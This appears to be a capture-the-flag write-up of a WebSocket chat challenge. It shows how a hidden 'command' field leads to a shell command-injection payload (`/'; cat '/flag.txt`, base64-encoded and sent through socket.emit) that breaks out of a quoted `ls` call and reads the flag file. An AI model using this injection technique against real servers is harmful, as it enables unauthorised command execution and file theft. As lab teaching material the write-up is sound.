When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen.
If we take a look at the source, we also find a bit of javascript:
From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket".
{{<figuresrc="/img/adventofctf/23/websocket.png"title="Websocket in Chrome DevTools">}}
If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives.
We can see the message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message.
In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable.
{{<figuresrc="/img/adventofctf/23/breakpoint.png"title="Javascipt breakpoint in Chrome">}}
Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back:
Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console:
```js
window.socket = socket;
```
We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this:
After running this, we also see the message pop up in the chat window.
### Sending a command
Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code:
```js
socket.emit("chat message", {
message: "Hello",
command: "ls",
});
```
As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command.
Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command.
The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following:
```bash
/bin/ls '/'; cat '/flag.txt'
```
Let's try that.
```bash
> echo -n "/'; cat '/flag.txt" | base64 -w 0
Lyc7IGNhdCAnL2ZsYWcudHh0⏎
```
```js
socket.emit("chat message", {
message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
command: "execute",
});
```
This will give us the following output:
```text
STDOUT: apps
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
NOVI{i_hacked_websockets_and_1_am_still_s@ne}
```
## Solution
We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`.